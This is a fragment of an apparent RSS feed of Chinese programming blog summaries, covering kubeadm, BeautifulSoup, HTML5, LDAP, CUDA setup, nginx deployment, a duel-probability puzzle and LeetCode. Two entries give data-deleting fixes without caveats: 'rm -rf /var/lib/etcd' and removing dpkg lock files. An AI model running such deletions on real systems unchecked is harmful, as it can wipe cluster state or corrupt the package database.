      <description> 1. 问题描述 在使用kubeadm init出现报错[ERROR DirAvailable–var-lib-etcd]: /var/lib/etcd is not empty)&#xA;[preflight] Some fatal errors occurred: [ERROR DirAvailable--var-lib-etcd]: /var/lib/etcd is not empty [preflight] If you know what you are doing, you can make a check non-fatal with `--ignore-preflight-errors=...` error execution phase preflight 2. 解决问题和原由 之所有出现/var/lib/etcd报错是因为改目录之前初始化已经生成了该目录,是需要将其删除即可&#xA;rm -rf /var/lib/etcd 3. 重新进行初始化 </description>
    </item>
    <item>
      <title>Python 从底层结构聊 Beautiful Soup 4（内置豆瓣最新电影排行榜爬取案例）</title>
      <link>https://bchobby.github.io/posts/15c7d4f263aa187c23be31f4cfa23be9/</link>
      <pubDate>Tue, 15 Mar 2022 10:34:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15c7d4f263aa187c23be31f4cfa23be9/</guid>
      <description>1. 前言 什么是 Beautiful Soup 4 ？&#xA;Beautiful Soup 4（简称 BS4，后面的 4 表示最新版本）是一个 Python 第三方库，具有解析 HTML 页面的功能，爬虫程序可以使用 BS4 分析页面无素、精准查找出所需要的页面数据。有 BS4 的爬虫程序爬行过程惬意且轻快。&#xA;BS4 特点是功能强大、使用简单。相比较只使用正则表达式的费心费力，BS4 有着弹指一挥间的豪迈和潇洒。&#xA;2. 安装 Beautiful Soup 4 BS4 是 Python 第三库，使用之前需要安装。&#xA;pip install beautifulsoup4 2.1 BS4 的工作原理 要真正认识、掌握 BS4 ，则需要对其底层工作机制有所了解。&#xA;BS4 查找页面数据之前，需要加载 HTML 文件 或 HTML 片段，并在内存中构建一棵与 HTML 文档完全一一映射的树形对象（类似于 W3C 的 DOM 解析。为了方便，后面简称 BS 树），这个过程称为解析。&#xA;BS4 自身并没有提供解析的实现，而是提供了接口，用来对接第三方的解析器（这点是很牛逼的，BS4 具有很好的扩展性和开发性）。无论使用何种解析器，BS4 屏蔽了底层的差异性，对外提供了统一的操作方法（查询、遍历、修改、添加……）。&#xA;认识 BS4 先从构造 BeautifulSoup 对象开始。BeautifulSoup 是对整个文档树的引用，或是进入文档树的入口对象。&#xA;分析 BeautifulSoup 构造方法，可发现在构造 BeautifulSoup 对象时，可以传递很多参数。但一般只需要考虑前 2 个参数。其它参数采用默认值，BS4 就能工作很好（约定大于配置的典范）。</description>
    </item>
    <item>
      <title>什么是事件冒泡</title>
      <link>https://bchobby.github.io/posts/385ed31fad6e61d7a88c8b4eec94f83d/</link>
      <pubDate>Mon, 14 Mar 2022 22:13:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/385ed31fad6e61d7a88c8b4eec94f83d/</guid>
      <description>什么是事件冒泡 事件冒泡就是指父元素和子元素有相同的事件，当触发子元素事件时，会向上冒泡，同时也会触发父元素事件&#xA;事件冒泡的三个阶段 1、捕获阶段：从window对象传导到目标节点（上层传到底层）称为“捕获阶段”，捕获阶段不会响应任何事件；&#xA;2、目标阶段：在目标节点上触发称为“目标阶段”；&#xA;3、冒泡阶段：从目标节点传导回window对象（从底层传回上层），称为“冒泡阶段”；&#xA;事件冒泡的原理 事件委托原理就是利用事件冒泡机制把里层所需要响应的事件绑定到外层</description>
    </item>
    <item>
      <title>5.8Ghz微波雷达感应技术，智能雷达传感器，人体感应技术方案</title>
      <link>https://bchobby.github.io/posts/93dfb90b3c0f6b00b31d999250ae0881/</link>
      <pubDate>Mon, 14 Mar 2022 21:01:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93dfb90b3c0f6b00b31d999250ae0881/</guid>
      <description>5.8G微波雷达感应模块方案，具有高集成、高性能、抗干扰能力强、低功耗、高性价比等优势，简化了厂商想要接入传感化、智能化的产品需求。&#xA;针对智能家居、智能安防、智能照明、智能门锁等物联网市场，开发业界领先的智能感知、计算处理到无线通信接入云端的雷达感应方案。&#xA;智能人体存在感应雷达方案，5.8G存在感应雷达模组，集成高性能32位MCU，单芯片直接输出感应控制信号，真正的SoC。&#xA;性能强大，可做丰富算法，拓展性强，适合高性能要求的场景，实现存在感应。支持标准UART接口，可与其他主控或传感器互联互通，也可作为主控使用。&#xA;雷达原理是产生并通过发射器发送一个频率随时间逐渐增加的信号，当这个信号遇到物体之后会反射回来，其时延是距离/光速数值的2倍。&#xA;而返回来的波形和发出的波形之间有个频率差，这个频率差和时延呈线性关系，将这两个频率做一个减法，就可以得到二者频率的差频（差拍频率），由此就可以计算出物体与雷达的距离。&#xA;在此基础上，不仅可以获知被测目标是否存在，还可以计算出目标的位置、方向、距离和速度等信息。&#xA;雷达传感器可开发具有强抗干扰性，并支持密集分布的微波探测模块；高集成，小尺寸；可灵活设置感应距离；可灵活设置频点，同频、异频抗干扰能力强；支持挂高应用；支持微动检测；支持存在检测微波雷达感应。&#xA;SOC方案保证频率、功率、探测距离和覆盖角度的一致性，有效解决同频干扰、环境干扰等问题，降低成本；灵活的功率、延时可调和PWM驱动功能，使产品适用于多种环境。&#xA;通过外接MCU的SPI接口与之相连并进行设置，不受外围IO数量的限制，通过对内部寄存器的操作可实现更加灵活和多样的控制。&#xA;雷达传感器的独有特性使其不易受环境干扰、便于隐藏等特点，支持移动侦测感应，还可以支持模糊测距、接近远离、脉冲发射等功能。&#xA;5.8G多普勒微波雷达，探测角度可调，高灵敏度，不受光线、灰尘、温度等外部环境影响，距离、延时、频点可通过软件控制，支持脉冲发射低功耗模式，支持低成本测距、方位、接近远离。&#xA;作为人体和运动传感器，雷达可以对区域内的人员数量、位置进行精准的感知，并以此为依据去控制照明、空调等系统，实现更高效的节能。&#xA;在安防监控领域，尽管摄像头目前是这一领域的主流方案，但是个人隐私也一直是伴随着视觉解决方案的敏感的话题。因此在特定的场合，雷达可以作为一个替代方案，代替摄像头去进行流量分析、入侵检测等工作。&#xA;此外“摄像头+雷达”相互联动的方案，还可增强原有方案的性能和可靠性，有利于实现更高的识别率、更低的误报率、更低的人工成本。&#xA;雷达传感器可以提供有关人体存在、运动、位置、速度以及与传感器的距离等信息。小型化、低功耗、低成本是雷达方案提供商努力进行技术突破的主要方向。&#xA;雷达实现小尺寸、低成本和易用性方面近年来获得长足进展，在物体检测、跟踪、安全控制和防撞警告系统等应用中开启了创新潮。&#xA;雷达消费市场刚起步，潜力巨大。在走廊或楼梯时，大声跺脚和咳嗽触发声控的经历很多人都有，在更多的场景下，这种方式有非常大的缺陷，这时候雷达传感器大可派上用场，无需发出任何声音即可为你亮灯。&#xA;同样的，一些家电厂商也在把这个功能加入到产品中实现智能化控制，比如在空调安装雷达传感器可以实时探测房间内是否有人，无人时自动关闭，以节省能源。</description>
    </item>
    <item>
      <title>java compareTo 方法 和 Comparator 接口</title>
      <link>https://bchobby.github.io/posts/0294ef2bb51ad7a0a609ea350f57839c/</link>
      <pubDate>Mon, 14 Mar 2022 20:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0294ef2bb51ad7a0a609ea350f57839c/</guid>
      <description>compareTo 方法是接口 Comparable 的实现 返回值是整型，它是先比较对应字符的大小(ASCII码顺序)，如果第一个字符和参数的第一个字符不等，结束比较，返回他们之间的长度差值，如果第一个字符和参数的第一个字符相等，则以第二个字符和参数的第二个字符做比较，以此类推,直至比较的字符或被比较的字符有一方结束。&#xA;如果参数字符串等于此字符串，则返回值 0；如果此字符串小于字符串参数，则返回一个小于 0 的值；如果此字符串大于字符串参数，则返回一个大于 0 的值。 说明：&#xA;如果第一个字符和参数的第一个字符不等，结束比较，返回第一个字符的ASCII码差值。&#xA;如果第一个字符和参数的第一个字符相等，则以第二个字符和参数的第二个字符做比较，以此类推,直至不等为止，返回该字符的ASCII码差值。 如果两个字符串不一样长，可对应字符又完全一样，则返回两个字符串的长度差值。&#xA;Integer 和 String 实现了compareTo 方法&#xA;实体对象实现方法&#xA;package com.study.stream; import java.util.Objects; public class Person implements Comparable&amp;lt;Person&amp;gt;{ private String name; private Integer age; private Integer height; public Person(String name, Integer age, Integer height) { this.name = name; this.age = age; this.height = height; } public String getName() { return name; } public void setName(String name) { this.</description>
    </item>
    <item>
      <title>html5知识点</title>
      <link>https://bchobby.github.io/posts/4dabbece344f4c08be292ecf5cdb6345/</link>
      <pubDate>Mon, 14 Mar 2022 20:33:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dabbece344f4c08be292ecf5cdb6345/</guid>
      <description>一、html5是什么 HTML5 是最新的 HTML 标准。HTML5 是专门为承载丰富的 web 内容而设计的，并且无需额外插件。HTML5 拥有新的语义、图形以及多媒体元素。HTML5 提供的新元素和新的 API 简化了 web 应用程序的搭建。HTML5 是跨平台的，被设计为在不同类型的硬件（PC、平板、手机、电视机等等）之上运行。 二、新增语义化标签 html5中新增的语义化标签可以分为两大类：块元素标签和内联元素标签。&#xA;1.块元素标签 （1）&amp;lt;header&amp;gt;&amp;lt;/header&amp;gt;:定义文档的头部区域&#xA;&amp;lt;header&amp;gt;我是头部&amp;lt;/header&amp;gt; （2）&amp;lt;nav&amp;gt;&amp;lt;/nav&amp;gt;：定义导航链接的部分&#xA;&amp;lt;nav&amp;gt;我是导航&amp;lt;/nav&amp;gt; （3）&amp;lt;section&amp;gt;&amp;lt;/section&amp;gt;： 定义文档中的节（section、区段）。比如章节、页眉、页脚或文档 中的其他部分。&#xA;&amp;lt;section&amp;gt; &amp;lt;header&amp;gt;section中的头部&amp;lt;/header&amp;gt; &amp;lt;article&amp;gt;section中的内容区域&amp;lt;/article&amp;gt; &amp;lt;footer&amp;gt;section中的脚注&amp;lt;/footer&amp;gt; &amp;lt;/section&amp;gt; （4）&amp;lt;footer&amp;gt;&amp;lt;/footer&amp;gt;：定义 页面 的页脚。&#xA;&amp;lt;footer&amp;gt;我是页脚&amp;lt;/footer&amp;gt; （5）&amp;lt;main&amp;gt;&amp;lt;/main&amp;gt;:定义文档的主体部分。&#xA;&amp;lt;main&amp;gt;文章主体部分放在这里&amp;lt;/main&amp;gt; tips:main标签在网页中应该是唯一的，只能出现一次，不能重复出现，只能放在body里面 不能是其他元素的子元素，只能是其他元素的包含框元素。&#xA;（6）&amp;lt;aside&amp;gt;&amp;lt;/aside&amp;gt;：定义页面的侧边栏内容。&#xA;&amp;lt;aside&amp;gt;我是侧边栏哈哈哈&amp;lt;/aside&amp;gt; （7）&amp;lt;article&amp;gt;&amp;lt;/article&amp;gt;：定义一个文章区域。&#xA;&amp;lt;article&amp;gt;这里放文章哦&amp;lt;/article&amp;gt; （8）&amp;lt;figure&amp;gt;&amp;lt;/figure&amp;gt;：规定独立的流内容（图像、图表、照片、代码等等）。&#xA;&amp;lt;figure&amp;gt; &amp;lt;figcaption&amp;gt;独立流内容标题&amp;lt;/figcaption&amp;gt; &amp;lt;!-- 独立流内容（图标、代码、图片、表格等） --&amp;gt; &amp;lt;/figure&amp;gt; （9）&amp;lt;details&amp;gt;&amp;lt;/details&amp;gt;：用于描述文档或文档某个部分的细节。&#xA;&amp;lt;details&amp;gt; &amp;lt;summary&amp;gt;概要&amp;lt;/summary&amp;gt; &amp;lt;!-- 文字/图片等 --&amp;gt; &amp;lt;/detail&amp;gt; 2.内联元素标签 （1）&amp;lt;progress&amp;gt;&amp;lt;/progress&amp;gt;：定义运行中的进度（进程）。&#xA;&amp;lt;progress value=&#34;进度值&#34; min=&#34;最小值&#34; max=&#34;最大值&#34;&amp;gt; 你的浏览器不支持此标签 &amp;lt;/progress&amp;gt; &amp;lt;!-- 若浏览器版本太低 则不显示进度条 显示浏览器不支持此标签 --&amp;gt; （2）&amp;lt;meter&amp;gt;&amp;lt;/meter&amp;gt;：定义度量衡。仅用于已知最大和最小值的度量。</description>
    </item>
    <item>
      <title>Linux下替换文件中的字符串</title>
      <link>https://bchobby.github.io/posts/7b8305d26656b410484db9f2b30a5771/</link>
      <pubDate>Mon, 14 Mar 2022 16:01:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b8305d26656b410484db9f2b30a5771/</guid>
      <description> sed -i “s分隔符old_str分隔符new_str分隔符g” 操作的目标文件名 注：分隔符可根据替换的字符串进行任意指定，如下指定为#，也可为其他。&#xA;实例一：&#xA;sed -i &#34;s#old_str#new_str#g&#34; defult.cfg 示例二：&#xA;当存在\等字符时，需要进行转义&#xA;如在2.txt文件中存在行：url=http://www.baidu&#xA;需将2.txt中的baidu替换为aliyun&#xA;sed -i &#34;s#http:\\/\\/www\\/baidu#http:\\/\\/www\\/aliyun#g&#34; 2.txt </description>
    </item>
    <item>
      <title>ubuntu下的LDAP搭建配置和测试</title>
      <link>https://bchobby.github.io/posts/b603f2da8d5e1a6327dd7f37b98b917d/</link>
      <pubDate>Mon, 14 Mar 2022 10:15:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b603f2da8d5e1a6327dd7f37b98b917d/</guid>
      <description>Ubuntu下安装和配置LDAP服务 此部分也可以参考 LDAP环境搭建&#xA;运行如下命令&#xA;sudo apt-get install slapd ldap-utils 安装过程会要求输入密码&#xA;默认的配置相关的目录在&#xA;/etc/ldap 目录结构如下&#xA;对配置文件进行简单修改，内容如下&#xA;# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. # #BASE&#x9;dc=example,dc=com #URI&#x9;ldap://ldap.example.com ldap://ldap-master.example.com:666 #BASE&#x9;dc=主机名或者用户名,dc=com #URI&#x9;ldap://ldap.example.com ldap://ldap-master.example.com:666 BASE&#x9;dc=Andrea,dc=com URI&#x9;ldap://127.0.0.1:389 #SIZELIMIT&#x9;12 #TIMELIMIT&#x9;15 #DEREF&#x9;never # TLS certificates (needed for GnuTLS) TLS_CACERT&#x9;/etc/ssl/certs/ca-certificates.crt 终端输入slap然后tab键，可以发现系统中多出来一些可执行文件&#xA;slapacl slapauth slapd(守护进程) slapindex slapschema slapadd slapcat(导出ldap数据库文件为.</description>
    </item>
    <item>
      <title>python2.7安装</title>
      <link>https://bchobby.github.io/posts/6e16bf45975ae6f091d0cc4077bb156d/</link>
      <pubDate>Sun, 13 Mar 2022 18:08:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e16bf45975ae6f091d0cc4077bb156d/</guid>
      <description>目录 一、下载二、安装三、设置环境变量四、验证 一、下载 1、通过 python 官网 https://www.python.org/ 找到 2.7 版本进行下载：&#xA;https://www.python.org/downloads/release/python-2718/&#xA;二、安装 双击下载的安装包进行安装，按提示操作即可。我的安装目录为 D:\Python27&#xA;注意：安装后需要重启操作系统，否则后面第4步的验证不成功。&#xA;三、设置环境变量 设置环境变量 Python，值为 D:\Python27。&#xA;四、验证 cmd 下验证是否安装成功：</description>
    </item>
    <item>
      <title>MATLAB提取RGB三原色及识别形状（圆、三角、方）</title>
      <link>https://bchobby.github.io/posts/fcd6fc8c396ad9cfa6647909a72929ef/</link>
      <pubDate>Sun, 13 Mar 2022 11:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcd6fc8c396ad9cfa6647909a72929ef/</guid>
      <description>三种图形如下 MATLAB代码如下&#xA;clc clear Image=imread(&#39;红绿圆.png&#39;); R=Image(:,:,1); G=Image(:,:,2); B=Image(:,:,3); figure(1); subplot(2,2,1),imshow(Image),title(&#39;image&#39;) subplot(2,2,2),imshow(R),title(&#39;r&#39;)%有红则显示白，没有则黑 subplot(2,2,3),imshow(G),title(&#39;g&#39;)%有绿则白，无则黑 subplot(2,2,4),imshow(B),title(&#39;b&#39;)%有蓝则白，无则黑 XYR=((R-G)&amp;gt;80&amp;amp;(R-B)&amp;gt;80); XYG=((G-R)&amp;gt;80&amp;amp;(G-B)&amp;gt;80); XYB=((B-R)&amp;gt;80&amp;amp;(B-G)&amp;gt;80); XYY=((R-B)&amp;gt;200&amp;amp;(G-B)&amp;gt;200&amp;amp;(R-B)&amp;amp;(R-G)&amp;lt;30); sumG=sum(sum(XYG)); sumR=sum(sum(XYR)); sumB=sum(sum(XYB)); sumY=sum(sum(XYY)); if(sumR&amp;gt;sumG&amp;amp;sumR&amp;gt;sumB) disp(&#39;It is red!&#39;); MY_Bit_img=XYR; end if(sumG&amp;gt;sumR&amp;amp;sumG&amp;gt;sumB) disp(&#39;It is green!&#39;); MY_Bit_img=XYG; end if(sumB&amp;gt;sumG&amp;amp;sumB&amp;gt;sumR) disp(&#39;It is blue!&#39;); MY_Bit_img=XYB; end if(sumY&amp;gt;sumR&amp;amp;sumY&amp;gt;sumB&amp;amp;sumY&amp;gt;sumG) disp(&#39;It is yellow!&#39;); MY_Bit_img=XYY; end sum_l=sum(MY_Bit_img); sum_r=sum(MY_Bit_img,2); len_l=max(sum_l); len_r=max(sum_r); len=(len_r+len_l)/2; area=sum(sum_l); circle=(3.14*len^2)/4; square=len_l*len_r; triangle=1.732*len_l*len_r/4; a=[circle/area,square/area,triangle/area]; b=[1,1,1]; [value,pos]=min(abs(a-b)); if(pos==1) disp(&#39;It is circle!&#39;); elseif(pos==2) disp(&#39;It is square!&#39;); else disp(&#39;It is triangle!&#39;); end 效果图 红圆</description>
    </item>
    <item>
      <title>烦人的CUDA error：-UserWarning: CUDA initialization: CUDA unknown error</title>
      <link>https://bchobby.github.io/posts/11389511c7ff6781a45f7ebf5ad40d77/</link>
      <pubDate>Sun, 13 Mar 2022 11:05:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11389511c7ff6781a45f7ebf5ad40d77/</guid>
      <description>参考：pytorch学习笔记-UserWarning: CUDA initialization: CUDA unknown error - 简书&#xA;跑yolov5时，安装好pytorch之后，运行脚本&#xA;import torch a=torch.cuda.is_available() print(torch.__version__) print(a) 出现了错误：&#xA;UserWarning: CUDA initialization: CUDA unknown error - this may be due to an incorrectly set up environment, e.g. changing env variable CUDA_VISIBLE_DEVICES after program start. Setting the available devices to be zero. (Triggered internally at /opt/conda/conda-bld/pytorch_1623448255797/work/c10/cuda/CUDAFunctions.cpp:115.) return torch._C._cuda_getDeviceCount() &amp;gt; 0 首先检查显卡驱动，CUDA，cudnn，以及pytorch的版本是否匹配，如果不匹配，需要卸载之后重装对应的版本。&#xA;CUDA10.2 Python3.8 pytorch1.8 没有错。&#xA;如果版本都是正确的，需要设置一下环境变量，输入sudo vim ~/.bashrc，在最后加上：&#xA;# 前三行是安装CUDA的时候需要设置的 export PATH=/usr/local/cuda/bin${PATH:+:${PATH}} export LD_LIBRARY_PATH=/usr/local/cuda/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}} export CUDA_HOME=/usr/local/cuda/bin export CUDA_VISIBLE_DEVICES=0 保存退出，试一下是否能够使用CUDA。</description>
    </item>
    <item>
      <title>【高速收发器】xilinx高速收发器学习记录</title>
      <link>https://bchobby.github.io/posts/36e7064bf004c4523338c8c4f2916734/</link>
      <pubDate>Sat, 12 Mar 2022 22:54:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36e7064bf004c4523338c8c4f2916734/</guid>
      <description>xilinx高速收发器学习记录 说明：本文摘自 V3学院 尤老师的培训班笔记，仅用于个人学习，不用于任何商业用途。&#xA;满足个人在公交车上或者其他需要不得不等待的时间段内学习的需要。&#xA;高速收发器的QUAD,如果级联以共享时钟，往上和往下不能超过2级。也就是说，共享时钟的时候，最多是5个QUAD使用一个gtrefclk。&#xA;为什么只能驱动5个，因为时钟的驱动能力有限。&#xA;每个quad是4个收发对，5个quad就是20个收发对。GTP的带宽为5G.&#xA;GT0-GT3可以使用同一个gtrefclk，也可以自定义选择使用不同的gtrefclk。（一个QUAD有两个gtrefclk参考时钟）&#xA;======================&#xA;Gtrefclk进来必须要进一个IBUFDS_GTE.即一个差分转单端的buf&#xA;HROW是全局时钟放在水平方向还是垂直方向的节点，ODIV2是输出给用户逻辑用的，可以分选二分频或者不分频或者直接拉低降低功耗。&#xA;======================&#xA;GTE输出的时钟可以接GT-COMMON(共享时钟资源)。GT-COMMON是在Reference Clock Distribution中。&#xA;可以通过在common原语上选择给QPLL哪个时钟，实现四个收发对用不同的参考时钟。&#xA;======================&#xA;高速收发器的结构&#xA;1）TX&#xA;FPGA Parallel 的接口就是逻辑的并行数据，比如AXI的接口。&#xA;用户的并行数据实际是64bit, PCS中会插入两bit数据让他变成66bit.(做64b/66b编码)，但是PCS parallel clock 和PMA parallel clock之间的交互，它并不会一次将66位取走，比如他一次取走32位，两次才会取走64位。多余的两位就取不走了，怎么办？&#xA;每一次多两位，等到16个周期之后，就满32位了，此时TX Sync Gearbox缓存了32位了，就会告诉用户端，让他停一拍，此时TX Sync Gearbox就把积累的32位传递给PMA parallel clock这边了。&#xA;TX-PCS中有bist数据（pattern generator, pcie beacon, sata oob）,可以发送出去，再接收端接受，从而测试物理连接是否正常。&#xA;TX-PMA中有预加重和后加重，且PMA都是串行数据。&#xA;TX Serial Clock 是串行时钟，是端口串行速率的一半，原因是上升沿和下降沿都发送数据。&#xA;====&#xA;2）Rx&#xA;Rx-PMA中有CDR(时钟恢复模块)，依赖refclk，从数据中将时钟恢复出来。&#xA;Rx-PCS中有checke模块，检查TX发过来的bist数据是否正确（如果有），验证物理层是否工作正确。&#xA;====&#xA;为了便于理解，PMA的功能可以简单描述为：&#xA;1）串并转换（图中的SIPO和PISO）;&#xA;2）模拟部分；&#xA;由此可以反推出来，PCS中的功能，都是并行的数字电路处理。&#xA;理论上说GTX的最小必要单元就是PMA，其主要原因就是核心的模拟部分。而PCS理论上可以全部由FPGA普通逻辑来实现。当然作为硬核提供的PCS功能更多、性能更好、使用更方便。&#xA;======================&#xA;高速收发器的速度&#xA;GTP &amp;lt; GPX &amp;lt; GTH &amp;lt; GTZ &amp;lt; GTY &amp;lt; GTM</description>
    </item>
    <item>
      <title>Ubuntu 安装软件报错问题</title>
      <link>https://bchobby.github.io/posts/8ebd511f1665cb8381787ed559a49f4a/</link>
      <pubDate>Sat, 12 Mar 2022 20:06:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ebd511f1665cb8381787ed559a49f4a/</guid>
      <description> Ubuntu 安装软件报错问题&#xA;错误信息&#xA;E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarly unavailable)&#xA;解决办法：&#xA;sudo rm /var/lib/dpkg/lock-frontend sudo rm /var/lib/dpkg/lock </description>
    </item>
    <item>
      <title>三枪手决斗问题的计算机解答</title>
      <link>https://bchobby.github.io/posts/e08918392543a74b671d23697d11766a/</link>
      <pubDate>Sat, 12 Mar 2022 17:16:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e08918392543a74b671d23697d11766a/</guid>
      <description>由来 前几天在一个游戏设计群里看到有人发的一份数值策划笔试题，虽然不知道是不是真的是数值策划的笔试题，但每个题都还挺有意思的。这第一题就在我们宿舍中产生了一段短暂的讨论，当时的讨论都是定性的，没有严格分析，今个闲着就把这一道我也不知道叫什么名字就暂且叫做“三枪手决斗”问题用编程的方法看一下结果。&#xA;题目 彼此痛恨的ABC三个枪手准备决斗。A枪法最好，平均十发八中。B的枪法次之，平均十发六中。C枪法最差，平均十发四中。假设他们了解彼此实力，也能做出理性判断。&#xA;三人同时开枪，谁的存活概率大？&#xA;解法一 秉承着由简单到复杂的做法，我先假设这是个只有一回合的静态博弈，每个人想让自己存活的概率最高，这应该是直观上最容易想到的情景了。&#xA;在这样的假设下，策略空间一共是2*2*2（A、B、C分别选择射杀另外的谁），然后每个策略组合下会有三个值，分别是三人的存活概率，代码如下：&#xA;import numpy as np prob=[0.8,0.6,0.4] value=np.zeros((2,2,2,3)) print(value.shape) for i in range(0,2): for j in range(0,2): for k in range(0,2): a,b,c=1,1,1 if i==0: b*=0.2 else: c*=0.2 if j==0: a*=0.4 else: c*=0.4 if k==0: a*=0.6 else: b*=0.6 value[i][j][k][0]=a value[i][j][k][1]=b value[i][j][k][2]=c print(value) 下面是输出，第一维是A的两个选择（杀B\C），第二维是B的两个选择（杀A\C），第三维是C的两个选择（杀A\B），最后一维就是三人分别的存活概率了。（应该不会有人选择自杀吧，大概）&#xA;可以看到啊，每一种策略组合都是此静态博弈的纳什均衡点（），这也很好理解，因为自己无论做出什么选择都没办法改变自己被杀的概率（除了朝自己开枪），只是改变了别人被杀的概率。这就没意思了，但是另外再想，既然他们三个要进行决斗，那么自己活着肯定就不是唯一的目的（不然不决斗不就完事了），他们还想让对方死！基于这点，做出如下解法二的改进。&#xA;解法二 因为题中提到是“彼此痛恨”的枪手，那按道理讲，每个人应该也很乐意看到对方死亡。如果把自己活着视为奖赏1，其他的每一个人死亡给自己的奖赏也为1，则&#xA;value2=np.zeros((2,2,2,3)) for i in range(0,2): for j in range(0,2): for k in range(0,2): value2[i][j][k][0]=value[i][j][k][0]*1+value[i][j][k][1]*(-1)+value[i][j][k][2]*(-1) value2[i][j][k][1]=value[i][j][k][0]*(-1)+value[i][j][k][1]*1+value[i][j][k][2]*(-1) value2[i][j][k][2]=value[i][j][k][0]*(-1)+value[i][j][k][1]*(-1)+value[i][j][k][2]*1 print(value2) 直接基于已经求解出的存活概率进行进一步的计算即可。结果如下：</description>
    </item>
    <item>
      <title>无法安装opencv-python解决方法，packagesno found,改channel全无效</title>
      <link>https://bchobby.github.io/posts/262fe18556e4823f9bec98b4d44b94f7/</link>
      <pubDate>Sat, 12 Mar 2022 15:05:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/262fe18556e4823f9bec98b4d44b94f7/</guid>
      <description>Collecting package metadata (current_repodata.json): done&#xA;Solving environment: failed with initial frozen solve. Retrying with flexible solve.&#xA;Collecting package metadata (repodata.json): done&#xA;Solving environment: failed with initial frozen solve. Retrying with flexible solve.&#xA;PackagesNotFoundError: The following packages are not available from current channels:&#xA;opencv-python=4.5.1.48 Current channels:&#xA;https://repo.anaconda.com/pkgs/main/win-64https://repo.anaconda.com/pkgs/main/noarchhttps://repo.anaconda.com/pkgs/r/win-64https://repo.anaconda.com/pkgs/r/noarchhttps://repo.anaconda.com/pkgs/msys2/win-64https://repo.anaconda.com/pkgs/msys2/noarch To search for alternate channels that may provide the conda package you’re&#xA;looking for, navigate to&#xA;https://anaconda.org and use the search bar at the top of the page.</description>
    </item>
    <item>
      <title>vue/react/web前端项目部署到阿里云服务器_nginx_pm2流程及部署前的准备</title>
      <link>https://bchobby.github.io/posts/2ab7567fea6d32ef4e75edb018f5a5b2/</link>
      <pubDate>Sat, 12 Mar 2022 11:39:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ab7567fea6d32ef4e75edb018f5a5b2/</guid>
      <description>前端开发完成的项目，不管是使用vue、react、或者是别的web项目，最终都是要部署到外网上，让用户可以通过域名来访问。这篇文章以一个 react 移动端的项目为例，讲怎样将自己本地的项目部署到阿里云服务器上。&#xA;文章比较长，第一次部署项目的大体流程如下：&#xA;部署前的准备，项目打包、阿里云服务器准备；本地连接阿里云服务器；服务器安装epel仓库;服务器安装nginx；启动nginx，如果出现无法访问网站，需要检查端口号的配置；上传本地文件到服务器；服务器配置nginx代理；服务器搭建 node 环境；服务器部署Mock数据，使用pm2管理node进程。 1. 部署前的准备 本地要部署的项目。阿里云服务器，服务器操作系统一般都是 CentOS ，版本不要选最新的，容易有问题，选7.5或者7.6都可以。 1.1 项目打包 终端进入到项目根目录，执行 npm run build，对项目进行打包，打包成功显示如下，打包完成后在根目录下会生成一个 build 的文件夹（如果是vue项目，会生成 dist 文件夹），部署就是将 build 或者 dist 文件夹里的内容放在公网上。&#xA;打包后生成的 build 文件夹及里面的内容。&#xA;1.2 登录阿里云后台 登录阿里云后台 =&amp;gt; 控制台 =&amp;gt; 云服务器ECS =&amp;gt; 实例，打开实例管理控制台，阿里云平台登录地址：阿里云登录 - 欢迎登录阿里云，安全稳定的云计算服务平台&#xA;2. 本地连接阿里云服务器 方式一：通过阿里云云服务器管理控制台中的远程连接进行连接。&#xA;输入用户名（默认为root）、密码（阿里云的登录密码/初始化磁盘时设置的密码），点击确定登录。&#xA;登录后看到这个页面说明已经登录成功了。&#xA;方式二：本地终端连接&#xA;在本地终端中输入下面的命令，服务器用户名默认为root，公网ip在云服务器管理控制台中可以找到。&#xA;ssh 服务器用户名@公网ip&#xA;输入 yes，回车&#xA;输入登录密码，输密码的时候，不会显示输入的内容，输完直接回车就行&#xA;出现下面这个页面则说明连接成功。&#xA;3. 装epel仓库 终端中继续输入下面的命令，安装epel仓库，-y表示一路确认。&#xA;yum install epel-release -y&#xA;4. 服务器安装nginx 终端中执行下面的命令，安装nginx。出现下面的内容，说明安装成功。&#xA;yum install nginx -y&#xA;5. 启动nginx 在终端执行下面的命令，启动nginx，执行命令后如果没有报错，则说明执行成功。</description>
    </item>
    <item>
      <title>力扣（LeetCode）70. 爬楼梯 （2022.03.11）</title>
      <link>https://bchobby.github.io/posts/6aa207bc32942ddcf131349809ea4c01/</link>
      <pubDate>Fri, 11 Mar 2022 22:50:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6aa207bc32942ddcf131349809ea4c01/</guid>
      <description> 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。&#xA;每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢？&#xA;示例 1：&#xA;输入：n = 2&#xA;输出：2&#xA;解释：有两种方法可以爬到楼顶。&#xA;1 阶 + 1 阶2 阶 示例 2：&#xA;输入：n = 3&#xA;输出：3&#xA;解释：有三种方法可以爬到楼顶。&#xA;1 阶 + 1 阶 + 1 阶1 阶 + 2 阶2 阶 + 1 阶 提示：&#xA;1 &amp;lt;= n &amp;lt;= 45&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/climbing-stairs&#xA;方法一：动态规划+滑动数组&#xA;C++提交内容：&#xA;class Solution { public: int climbStairs(int n) { int p = 0, q = 0, r = 1; for(int i = 0 ; i &amp;lt; n; ++i){ p = q; q = r; r = p + q; } return r; } }; </description>
    </item>
    <item>
      <title>读《python计算机视觉与深度学习实战》（郭卡，戴亮编著）笔记·part1</title>
